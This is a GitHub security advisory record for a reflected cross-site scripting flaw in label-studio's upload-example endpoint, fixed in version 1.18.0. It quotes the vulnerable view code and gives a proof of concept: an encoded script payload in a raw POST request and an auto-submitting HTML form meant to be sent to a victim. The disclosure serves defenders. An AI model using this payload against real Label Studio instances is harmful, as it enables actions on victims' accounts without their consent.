GHSA-8jhr-wpcm-hh4h

Source

https://github.com/advisories/GHSA-8jhr-wpcm-hh4h

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-8jhr-wpcm-hh4h/GHSA-8jhr-wpcm-hh4h.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-8jhr-wpcm-hh4h

Aliases

Published

2025-05-15T16:21:16Z

Modified

2026-05-20T08:11:22.578436378Z

Severity

7.6 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N CVSS Calculator

Summary

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Details

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.



<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Database specific

{
    "github_reviewed_at": "2025-05-15T16:21:16Z",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-79"
    ],
    "nvd_published_at": "2025-05-14T23:15:48Z",
    "severity": "HIGH"
}

References

Affected packages

PyPI / label-studio

Package

Name: label-studio; View open source insights on deps.dev
Purl: pkg:pypi/label-studio

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

1.18.0

Affected versions

0.*

0.4.1

0.4.2

0.4.3

0.4.4

0.4.4.post1

0.4.4.post2

0.4.5

0.4.6

0.4.6.post1

0.4.6.post2

0.4.7

0.4.8

0.5.0

0.5.1

0.6.0

0.6.1

0.7.0

0.7.1

0.7.2

0.7.3

0.7.4

0.7.4.post0

0.7.4.post1

0.7.5.post1

0.7.5.post2

0.8.0

0.8.0.post0

0.8.1

0.8.1.post0

0.8.2

0.8.2.post0

0.9.0

0.9.0.post2

0.9.0.post3

0.9.0.post4

0.9.0.post5

0.9.1

0.9.1.post0

0.9.1.post1

0.9.1.post2

1.*

1.0.0

1.0.0.post0

1.0.0.post1

1.0.0.post2

1.0.0.post3

1.0.1

1.0.2

1.0.2.post0

1.1.0rc0

1.1.0

1.1.1

1.2

1.3

1.3.post0

1.3.post1

1.4

1.4.1

1.4.1.post0

1.4.1.post1

1.5.0

1.5.0.post0

1.6.0

1.7.0

1.7.1

1.7.2

1.7.3

1.8.0

1.8.1

1.8.2

1.8.2.post0

1.8.2.post1

1.9.0

1.9.1

1.9.1.post0

1.9.2

1.9.2.post0

1.10.0

1.10.0.post0

1.10.1

1.11.0

1.12.0

1.12.0.post0

1.12.1

1.13.0

1.13.1

1.14.0

1.14.0.post0

1.15.0

1.16.0

1.17.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-8jhr-wpcm-hh4h/GHSA-8jhr-wpcm-hh4h.json"